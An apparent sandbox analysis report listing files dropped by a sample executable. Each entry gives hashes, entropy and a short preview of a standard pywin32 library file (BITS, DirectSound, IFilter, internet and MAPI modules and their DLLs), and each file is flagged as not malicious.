Size (bytes):	2821
Entropy (8bit):	4.8026048341123175
Encrypted:	false
SSDEEP:	48:ZZGYtvzQqRJ+NTpxWrgBBSYZZuJoKl4j8sLIse:ZZbvz/RQNTpxWrgBBSYjuZl4j8Nse
MD5:	A7D3DE6F0267051AA0AD14446AE995FD
SHA1:	7D6958D5AAE223A8482C926E6B81170426F46F96
SHA-256:	3559EC9F82467D5ECE95F97A278DDABFDE9E6909FC4B564FD0E9E273FF037C17
SHA-512:	3F0E6CF04E0D18BDC1CA457E115D8B28A4239B3BD2B368D44D71B136F80EFDFE2BFB9F90EE53A5447486B01B6371AA3BDE3ABEE49A140A0D21A68357B8E9BB77
Malicious:	false
Preview:	import os.import sys.import traceback..import pythoncom.import win32ui.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import util..version = "0.0.1"...class MySite(axsite.AXSite):. def OnScriptError(self, error):. print("An error occurred in the Script Code"). exc = error.GetExceptionInfo(). try:. text = error.GetSourceLineText(). except:. text = "<unknown>". context, line, char = error.GetSourcePosition(). print(. "Exception: %s (line %d)\n%s\n%s^\n%s". % (exc[1], line, text, " " * (char - 1), exc[2]). )...class ObjectModel:. _public_methods_ = ["echo", "msgbox"].. def echo(self, args):. print("".join(map(str, args))).. def msgbox(self, args):. msg = "".join(map(str, args)). win32ui.MessageBox(msg)...def TestEngine():. model = {"Test": util.wrap(Ob

C:\recover\pw\Lib\site-packages\win32comext\bits\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHKFaWlQkEr66NRS66u:SbFubDlQkDAAyWrNhS5WmKVsLHKkWlQp
MD5:	3D90A8BDF51DE0D7FAE66FC1389E2B45
SHA1:	B1D30B405F4F6FCE37727C9EC19590B42DE172EE
SHA-256:	7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
SHA-512:	BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
Malicious:	false
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\bits\bits.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.1599885596539234
Encrypted:	false
SSDEEP:	768:T7mh1bhikKz8imoqt0h5E+aNsKUZcqyWuEBgchujWZwHF5qtYNCLw:T741bHoqt0IAiqtBJM7F5QYwLw
MD5:	E237E05C23FA0387835F7EA2CFE74E0B
SHA1:	397A537CA4A5098CD5443EB2754BDBB5B8879A54
SHA-256:	282A1B861679B39D080E4B732DF4E56F7FFBF878F1D52A36D8E3C2A93E51728A
SHA-512:	22096F64A05CC179A6E7C917D9115AE06265366E367CE3C5B62701E7F850C03D7C219D9B629D0224B3F606AA2D797CE9C10CAA118037D5D64CDD9BDF8C299BC9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Vks.Vks.Vks._..Rks...r.Tks...v.Dks...w.\ks...p.Wks.B.w.Wks...r.Tks...r.Rks.B.r.Qks.Vkr.8ks.B.u.Uks...z.]ks...s.Wks...q.Wks.RichVks.........PE..L......d...........!.....Z...X......oW.......p............................................@............................H...............L...............................T...........................p...@............p...............................text...[X.......Z.................. ..`.rdata...8...p...:...^..............@..@.data...............................@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\bits\test\show_all_jobs.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	4.925120953840814
Encrypted:	false
SSDEEP:	48:Sd+ibKliZOSFPW85uewtC2/HPreDuiNj/rKR9eOS:SIYKqnJEwOHTQ1j/bOS
MD5:	574AD594C36E73B70A59D3635601A4B3
SHA1:	BCBBD1E5A7BCF3ED00DE8CE55240B064C8183998
SHA-256:	69EB0FD2EBEF680A453A6D8A0BAE762D034CD8D13D01CFF9D9F49C210FACD5FB
SHA-512:	E12DA10AE68D8C2DCDA52C3CDD65BFBC59F9B85C9954A79042192A2ED5A4549ABE11E2E0E04964A8E4B44A3F3D988B35E50B045214421A37F54674B59AF16D07
Malicious:	false
Preview:	# Dump lots of info about BITS jobs..import pythoncom.from win32com.bits import bits..states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..job_types = dict(. [. (val, (name[12:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_TYPE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)..try:. enum = bcm.EnumJobs(bits.BG_JOB_ENUM_ALL_USERS).except pythoncom.error:. print("Failed to get jobs for all users - trying for current user"). enum = bcm.EnumJobs(0)..for job in enum:. print("Job:", job.GetDisplayName()). print("Description:", job.GetDescription()). print("Id:", job.GetId()). print("State:", states.get(job.GetState())). print("Type:", job_types.get(job.GetType())). print("Owner:", job.GetOwner()). print("Error

C:\recover\pw\Lib\site-packages\win32comext\bits\test\test_bits.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3911
Entropy (8bit):	5.004305748117951
Encrypted:	false
SSDEEP:	48:uJmX+iYOSFX6WEYkoyohzp7BJSVnTS3jmSfUPpsViLPlsFuOCe4aqJNcJCLDShhV:u3hnBqo7SVneC4dEl/OCe4xMYyKEc0X
MD5:	B74809DA8C2D00398BB87C3E654C620C
SHA1:	11541D817CB690844E44CDD8ED55AEBA3928DD10
SHA-256:	635F84E356E4E51ACEF41E50BD3D69B22539B2A39BE04BD2FC99064D443A47C3
SHA-512:	2974BCFC7A106AAEE7E2DA779C71CBA11BD477F46C0D7F3DEBD5886DECCE5003FCFCBA27A7E8CE42016C4F22DB7D1CBA5AF53232E915864FFCF45AED0794DBFB
Malicious:	false
Preview:	import os.import tempfile..import pythoncom.import win32api.import win32event.from win32com.bits import bits.from win32com.server.util import wrap..TIMEOUT = 200 # ms.StopEvent = win32event.CreateEvent(None, 0, 0, None)..job_name = "bits-pywin32-test".states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)...class BackgroundJobCallback:. _com_interfaces_ = [bits.IID_IBackgroundCopyCallback]. _public_methods_ = ["JobTransferred", "JobError", "JobModification"].. def JobTransferred(self, job):. print("Job Transferred", job). job.Complete(). win32event.SetEvent(StopEvent) # exit msg pump.. def JobError(self, job, error):. print("Job Error", job, error). f = error.GetFile(). print("While downlo

C:\recover\pw\Lib\site-packages\win32comext\directsound\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\directsound\directsound.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65024
Entropy (8bit):	6.58174397795815
Encrypted:	false
SSDEEP:	1536:+In7Ngc9344gT6kDVWBgdq4LNfzJe44VPkqjPvvplQiLDv4u:+sOsSV/dq4LNwBh5vplQSDv4u
MD5:	D40FB659214ED1B1CAFDE2BFF4EE7805
SHA1:	EC11C0EE357BD887143B07F54C9F3FD0C944F602
SHA-256:	924BBFB70AF3D48A62473E1CFB35A13BEA1F897664C672892A6B87574EE1D572
SHA-512:	1988E812AF70A7328D349F15A08110EB8E9B8659D84F670981998C72A79D1EFA02966D15DB1BED9D484EDB8201D84092CBC597669A8DA4DD337E4F37023F2F1B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.o.....................\.......\.......\.......\.................................................b........................Rich....................PE..L......d...........!.....b...........].......................................@............@.............................X...X........ ..d....................0..........T...........................`...@............................................text....`.......b.................. ..`.rdata...v.......x...f..............@..@.data...............................@....rsrc...d.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\directsound\test\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.344714485879206
Encrypted:	false
SSDEEP:	3:SbFVEPxVWQFJVQk+FRNXNXOncRg:SbFupVhvik+ZXN+nc+
MD5:	E298466B6FD8193A58C680D2AE7D3C07
SHA1:	03EB7C7B6A5C0CE44615D9B3971E5E723FC6B72D
SHA-256:	CD76E2688236E4F28CDA19EEF724FC8BB23BFE9EA041F3CC6EDF9EBB11D59FF2
SHA-512:	50B6D223A092955BB007D9AFC25EBE6963D61D11E98C36EB6C1CD7B12852664B37763A40FD263796AC636EE3C1087912DBFF088CA64E887057E27BCA7C2D0B65
Malicious:	false
Preview:	# This is a Python package, imported by the win32com test suite..

C:\recover\pw\Lib\site-packages\win32comext\directsound\test\ds_record.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1403
Entropy (8bit):	5.171530998196383
Encrypted:	false
SSDEEP:	24:bhKDYyBItQA/C/aTGMMGOG2yyC8Fg1gWASEUzgH9/8tjtItqGJxa:AEyBImWFSMpOG9Hnb3AuB2qGJM
MD5:	DD4ECEEB15A19F7C1C558D6E424CFCDE
SHA1:	6BC48290856569F33E29C59E120E5D1DC2E8681E
SHA-256:	1B62139669A62943BE5069F94B50C4CD6F5923BBA3860FC02C2E1731C9A32CDC
SHA-512:	E85CD425286184BD8DF76F5A38A4549EE62E2D75A50893ECA56C5CA4A5251CCA3F752608C759E79D47AB522F650B31AEF416360B6B83781D4ACCF308215D9E72
Malicious:	false
Preview:	import os.import struct..import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event...def wav_header_pack(wfx, datasize):. return struct.pack(. "<4sl4s4slhhllhh4sl",. "RIFF",. 36 + datasize,. "WAVE",. "fmt ",. 16,. wfx.wFormatTag,. wfx.nChannels,. wfx.nSamplesPerSec,. wfx.nAvgBytesPerSec,. wfx.nBlockAlign,. wfx.wBitsPerSample,. "data",. datasize,. )...d = ds.DirectSoundCaptureCreate(None, None)..sdesc = ds.DSCBUFFERDESC().sdesc.dwBufferBytes = 352800 # 2 seconds.sdesc.lpwfxFormat = pywintypes.WAVEFORMATEX().sdesc.lpwfxFormat.wFormatTag = pywintypes.WAVE_FORMAT_PCM.sdesc.lpwfxFormat.nChannels = 2.sdesc.lpwfxFormat.nSamplesPerSec = 44100.sdesc.lpwfxFormat.nAvgBytesPerSec = 176400.sdesc.lpwfxFormat.nBlockAlign = 4.sdesc.lpwfxFormat.wBitsPerSample = 16..print(sdesc).print(d).buffer = d.CreateCaptureBuffer(sdesc)..event = win32event.CreateEvent(None

C:\recover\pw\Lib\site-packages\win32comext\directsound\test\ds_test.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12961
Entropy (8bit):	4.826440754319716
Encrypted:	false
SSDEEP:	192:1nyFkSYUXsK30TnI7aTr8MKrDoB+ghwzN2PVcwzN2PjZRXnZOFvjEq:1E5ETnI7aDKP8bnOZR3ZON
MD5:	18C3F46087F83FE4877AAD85FA9C52C1
SHA1:	A4AE6F8025C7BEEDB6EEE5EC7BF4937094951AFF
SHA-256:	D4A1A4CDCEE2AFBA48FFA16DD106B28F905D6BFEB94F3AE374D0235E2FB919D7
SHA-512:	1B6258266DD2BBFB57438995FCEED5A227E1F978A277599A7541418C588E054FB64449C2BC302304101EFD6F3AC4BFAF3280010F37853D0994B3048CC4683756
Malicious:	false
Preview:	import os.import struct.import sys.import unittest..import pythoncom.import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event.from pywin32_testutil import TestSkipped, find_test_fixture..# next two lines are for for debugging:.# import win32com.# import directsound as ds..WAV_FORMAT_PCM = 1.WAV_HEADER_SIZE = struct.calcsize("<4sl4s4slhhllhh4sl")...def wav_header_unpack(data):. (. riff,. riffsize,. wave,. fmt,. fmtsize,. format,. nchannels,. samplespersecond,. datarate,. blockalign,. bitspersample,. data,. datalength,. ) = struct.unpack("<4sl4s4slhhllhh4sl", data).. if riff != b"RIFF":. raise ValueError("invalid wav header").. if fmtsize != 16 or fmt != b"fmt " or data != b"data":. # fmt chuck is not first chunk, directly followed by data chuck. # It is nowhere required that they are, it is just very common. raise Val

C:\recover\pw\Lib\site-packages\win32comext\ifilter\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.931286772251353
Encrypted:	false
SSDEEP:	3:St6F0MCwmFCuEvn:StiCwyDEv
MD5:	916CF97F5E542525C324DB1ED384D4E2
SHA1:	467D1EDB3C96F911D81B6A3FC1168BB8311CC910
SHA-256:	3F203F2B51718A49D2EBDFFDC73EDF022B70DA18F6ED35EC184DBB1B3C45D951
SHA-512:	CFFADA533B9CA2595122EE52B26C9B4D3AF69B7EF21400AE6CFB7F7AEE251DFFD6D1297A60E1F880D0EE5D744E27967685BCB218ABBFEDD708AB7D7F945A3AD5
Malicious:	false
Preview:	# empty file to designate as a package..

C:\recover\pw\Lib\site-packages\win32comext\ifilter\demo\filterDemo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11463
Entropy (8bit):	4.154343121449287
Encrypted:	false
SSDEEP:	192:3zE1Vd6W4Js8Ul84w7fobWjLTrLfuMw2240Nwh:3zE1VQW42o7QCj7jw22bY
MD5:	7BA17F3EBA067CACFF36F589C898ABD2
SHA1:	A828387A130628E678092379F630355A12C742A9
SHA-256:	357459402A50103692E99BAF675E46EFBCA764633F58B789015E1280A5AF16B3
SHA-512:	8AF8BD1EF99E0833EFE9589B5D8F9CDF3FA3E007DDE655937CE9F7B65F9F86EDEEA10D44A78B2B69FAC368870DE8A244A136F6F2275FC6BC776B2D9D1074C150
Malicious:	false
Preview:	import pythoncom.import pywintypes.from win32com import storagecon.from win32com.ifilter import ifilter.from win32com.ifilter.ifiltercon import *...class FileParser:. # Property IDs for the Storage Property Set. PIDS_BODY = 0x00000013.. # property IDs for HTML Storage Property Set. PIDH_DESCRIPTION = "DESCRIPTION". PIDH_HREF = "A.HREF". PIDH_IMGSRC = "IMG.SRC".. # conversion map to convert ifilter properties to more user friendly names. propertyToName = {. PSGUID_STORAGE: {PIDS_BODY: "body"},. PSGUID_SUMMARYINFORMATION: {. PIDSI_TITLE: "title",. PIDSI_SUBJECT: "description",. PIDSI_AUTHOR: "author",. PIDSI_KEYWORDS: "keywords",. PIDSI_COMMENTS: "comments",. },. PSGUID_HTMLINFORMATION: {PIDH_DESCRIPTION: "description"},. PSGUID_HTML2_INFORMATION: {PIDH_HREF: "href", PIDH_IMGSRC: "img"},. }.. def __init__(self, verbose=False):. self.f = None. self.stg = No

C:\recover\pw\Lib\site-packages\win32comext\ifilter\ifilter.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	5.998642276753337
Encrypted:	false
SSDEEP:	384:Z+gfqEqckW7lXJD4M0OcjGYjn8gGWx/8ABcELbMqchFgcwFo4epZ:Z99lXJDp0ONYjZGWn3Lb5chFTEo4e
MD5:	1807318382DF73EEA8FD6EABF481CC91
SHA1:	C53A6CE3F30ACE42BAD67656378D072B0C0B75FB
SHA-256:	E1D0069E77C39B17223D28D42F099AC38A135D5203E5C250B9695631731F8E06
SHA-512:	EBFFFB074788136974B411D9C00D5D3AE85F6ABF9642C83D8E9DCD7F7EA280F58BFA88CA5695BEF02C88997DDE032F58A92249289DCD1778553DBAAB1DBEB02C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e...e...e....Z..e.......e.......e.......e.......e.......e.......e..c....e.......e...e...e..c....e..c....e..c....e..Rich.e..........................PE..L......d...........!....."...<.......".......@............................................@.........................0b..P....b..........T............................Y..T...........................@Z..@............@..l............................text....!.......".................. ..`.rdata..l....@...0...&..............@..@.data........p.......V..............@....rsrc...T............X..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\ifilter\ifiltercon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3159
Entropy (8bit):	4.923767823689655
Encrypted:	false
SSDEEP:	48:uU/UEZAydqhM8pl3eN7izQWpWMzpMHoReRKXZ+tv+uhGJqHaJR5BxZk:uHE+iqhM8pUNqIKRR+KJ+tL+FR5k
MD5:	7B6C258D30B63A234095143676B22ADF
SHA1:	E51FF7615A067A317D9B051D1C67A4299D70C166
SHA-256:	04323EB37D2D2168D97F350F6A8D7342E33539B8296B686C8CDCFE926803D078
SHA-512:	CDF1AEBCA7ECFF49BDA08D42941AC87013382909B35B812B6FAF2034A2FE9D486964CF5DB06D55EFB68DA9358B42E085D184E89F26A3996E02C13EDCC891202A
Malicious:	false
Preview:	# manual stuff.from pywintypes import IID..PSGUID_STORAGE = IID("{B725F130-47EF-101A-A5F1-02608C9EEBAC}").PSGUID_SUMMARYINFORMATION = IID("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}").PSGUID_HTMLINFORMATION = IID("{D1B5D3F0-C0B3-11CF-9A92-00A0C908DBF1}").PSGUID_HTML2_INFORMATION = IID("{C82BF597-B831-11D0-B733-00AA00A1EBD2}")..IFILTER_INIT_CANON_PARAGRAPHS = 1.IFILTER_INIT_HARD_LINE_BREAKS = 2.IFILTER_INIT_CANON_HYPHENS = 4.IFILTER_INIT_CANON_SPACES = 8.IFILTER_INIT_APPLY_INDEX_ATTRIBUTES = 16.IFILTER_INIT_APPLY_CRAWL_ATTRIBUTES = 256.IFILTER_INIT_APPLY_OTHER_ATTRIBUTES = 32.IFILTER_INIT_INDEXING_ONLY = 64.IFILTER_INIT_SEARCH_LINKS = 128.IFILTER_INIT_FILTER_OWNED_VALUE_OK = 512..IFILTER_FLAGS_OLE_PROPERTIES = 1..CHUNK_TEXT = 0x1.CHUNK_VALUE = 0x2.CHUNK_NO_BREAK = 0.CHUNK_EOW = 1.CHUNK_EOS = 2.CHUNK_EOP = 3.CHUNK_EOC = 4..NOT_AN_ERROR = 0x00080000.FILTER_E_END_OF_CHUNKS = -2147215616.FILTER_E_NO_MORE_TEXT = -2147215615.FILTER_E_NO_MORE_VALUES = -2147215614.FILTER_E_ACCESS = -2147215613.FILT

C:\recover\pw\Lib\site-packages\win32comext\internet\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\internet\inetcon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11618
Entropy (8bit):	4.753110597909261
Encrypted:	false
SSDEEP:	192:CkogxzQ/H0kIgXgs+jvADyDE2DEYkEiiPqFrufN5ZuN6UuC:HooQ/0kIq+jvADyzbqiPqFrufN5ZuN6a
MD5:	A2CEED6223F6CCC8989F7B3E0A6B1C84
SHA1:	FA03E36EDF3FF88F9C0DA3A04A0147CB1814049B
SHA-256:	EC610923C9B22E554C898AB178AB36530212E68552E4B309E42D71F4C19503B5
SHA-512:	AD5EB56D329ED16ADAE2D152F2B5ECE5A431AB06B26C6BD4F0A47A1A52CC363B8FD72BEA69FA3DE3FECE0EFCCC2E5D27F3829970438B6288AAE54A2992161DD3
Malicious:	false
Preview:	INET_E_USE_DEFAULT_PROTOCOLHANDLER = -2146697199 # _HRESULT_TYPEDEF_(0x800C0011L).INET_E_USE_DEFAULT_SETTING = -2146697198 # _HRESULT_TYPEDEF_(0x800C0012L).INET_E_DEFAULT_ACTION = INET_E_USE_DEFAULT_PROTOCOLHANDLER.INET_E_QUERYOPTION_UNKNOWN = -2146697197 # _HRESULT_TYPEDEF_(0x800C0013L).INET_E_REDIRECTING = -2146697196 # _HRESULT_TYPEDEF_(0x800C0014L)..INET_E_INVALID_URL = -2146697214 # _HRESULT_TYPEDEF_(0x800C0002L).INET_E_NO_SESSION = -2146697213 # _HRESULT_TYPEDEF_(0x800C0003L).INET_E_CANNOT_CONNECT = -2146697212 # _HRESULT_TYPEDEF_(0x800C0004L).INET_E_RESOURCE_NOT_FOUND = -2146697211 # _HRESULT_TYPEDEF_(0x800C0005L).INET_E_OBJECT_NOT_FOUND = -2146697210 # _HRESULT_TYPEDEF_(0x800C0006L).INET_E_DATA_NOT_AVAILABLE = -2146697209 # _HRESULT_TYPEDEF_(0x800C0007L).INET_E_DOWNLOAD_FAILURE = -2146697208 # _HRESULT_TYPEDEF_(0x800C0008L).INET_E_AUTHENTICATION_REQUIRED = -2146697207 # _HRESULT_TYPEDEF_(0x800C0009L).INET_E_NO_VALID_MEDIA = -2146697206 # _HRESULT_TYPEDEF_(0x800C000

C:\recover\pw\Lib\site-packages\win32comext\internet\internet.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.334392782370234
Encrypted:	false
SSDEEP:	768:3x71++STYNps85Z7ZnZ00JcGWs8xMyWFcMP6EK8Dtlu/zKspEd2wTCejorf2bJOE:U2t8xWckeOatnBrX3szzW2gXPfAWq
MD5:	9A8C332F3E0825889F746622CB686911
SHA1:	8E05873EB2ACBE42390767AD23C878D8726E3C58
SHA-256:	54253D5AB7634E78CA88F91F3BEBE6328F2C5144EEC6BCD657D655A7BC38D05D
SHA-512:	707F84B1518397F2ACA593D62D95112244E4E05E122D384BD3258C8144BAF75B9CDB3346B01AA8DB2E1AF51F73AA95A0E31F9D6379B3A5847C1759309A0764C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9X..X6G.X6G.X6G. .G.X6G.-7F.X6G.-3F.X6G.-2F.X6G.-5F.X6G.32F.X6G)17F.X6GO-7F.X6G.37F.X6G.X7G.X6GO-?F.X6GO-6F.X6GO-4F.X6GRich.X6G................PE..L......d...........!................X........................................`............@.............................P...`........0..\....................@..........T........................... ...@...............D............................text............................... ..`.rdata...e.......f..................@..@.data...............................@....rsrc...\....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\mapi\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	598
Entropy (8bit):	4.452174489930338
Encrypted:	false
SSDEEP:	12:h6L9yKlip4fwRw2oliOzd/zEMzNmRw2oliS4LZwRwqxRLHpCvqRKzAS6v:sJlY4EwFzlzEeNWwFx4LiwrrUJv
MD5:	9DC0B96E4086115BFA0124F10DE8DF27
SHA1:	12D70C7C9CE86D0DD497CD4B18982EC2A3A1F8F8
SHA-256:	2DB6C9A3EFC87F2A774F1D63D09EF649DCA0F764F5317C76B145595E8608699A
SHA-512:	9369BE70DBD6DBA5A108AFBE83686F42BB65EF2526D7C9015BA2D97A86CCAEC6CF40E4A8F9BF5BDC61ECDFCA10032508A57335CC540087857D613650F343A858
Malicious:	false
Preview:	if type(__path__) == type(""):. # For freeze to work!. import sys.. try:. import mapi.. sys.modules["win32com.mapi.mapi"] = mapi. except ImportError:. pass. try:. import exchange.. sys.modules["win32com.mapi.exchange"] = exchange. except ImportError:. pass. try:. import exchdapi.. sys.modules["win32com.mapi.exchdapi"] = exchdapi. except ImportError:. pass.else:. import win32com.. # See if we have a special directory for the binaries (for developers). win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\mapi\demos\mapisend.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	4.925300298608504
Encrypted:	false
SSDEEP:	96:XxnSR8qvUhcfj2YvwxlQemLmm58mNyYGrj+:XxSDfjnvwxuDLKri
MD5:	2330E0C56C096DD1817F4DD7F640D053
SHA1:	6C79E8F892F50AEB538833DB612BB94CDF76CB70
SHA-256:	1CD1A8B5147BE673262F63E784C23FD2611887D9EEEC3AB49AF260931489B3C2
SHA-512:	33EA73AC64FABCF3938B38C3BF502C8DFC4C444BA2D784BD52E277B28A0F9E80DF978A2B54659F39932E9D43DEBB9D5DEE35183B8ED5C4274E6D656648913E9D
Malicious:	false
Preview:	#!/usr/bin/env python.."""module to send mail with Extended MAPI using the pywin32 mapi wrappers..."""..# this was based on Jason Hattingh's C++ code at http://www.codeproject.com/internet/mapadmin.asp.# written by David Fraser <davidf at sjsoft.com> and Stephen Emslie <stephene at sjsoft.com>.# you can test this by changing the variables at the bottom and running from the command line..from win32com.mapi import mapi, mapitags...def SendEMAPIMail(. Subject="", Message="", SendTo=None, SendCC=None, SendBCC=None, MAPIProfile=None.):. """Sends an email to the recipient using the extended MAPI interface. Subject and Message are strings. Send{To,CC,BCC} are comma-separated address lists. MAPIProfile is the name of the MAPI profile""".. # initialize and log on. mapi.MAPIInitialize(None). session = mapi.MAPILogonEx(. 0, MAPIProfile, None, mapi.MAPI_EXTENDED \| mapi.MAPI_USE_DEFAULT. ). messagestorestable = session.GetMsgStoresTable(0). messagestorestable

C:\recover\pw\Lib\site-packages\win32comext\mapi\emsabtags.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	49320
Entropy (8bit):	4.713409859343289
Encrypted:	false
SSDEEP:	768:LEeEtNDu70C67HySIPPrn/ft7rQI+sUQqF5v:LEeEtN+0C67HySIPD/ft7rQI+sUXF5v
MD5:	EA8F034EB98534C75F272B8439069E23
SHA1:	91911B94EE35A6393FD89150B5990722193A20B7
SHA-256:	9CD4D0847A677387AD43A9E27C45AFFE8DCE2B03F3DB5585B191E3D0E2446FBD
SHA-512:	D152007752EEEB1C6BF61F52A7B53763EFB1311B31614CC75DD6DDB8B3A1B1B42B366B29A527FA7FF12C7AA8F588B2D761A64245D11D6471D7BAA7E4BC1BE1ED
Malicious:	false
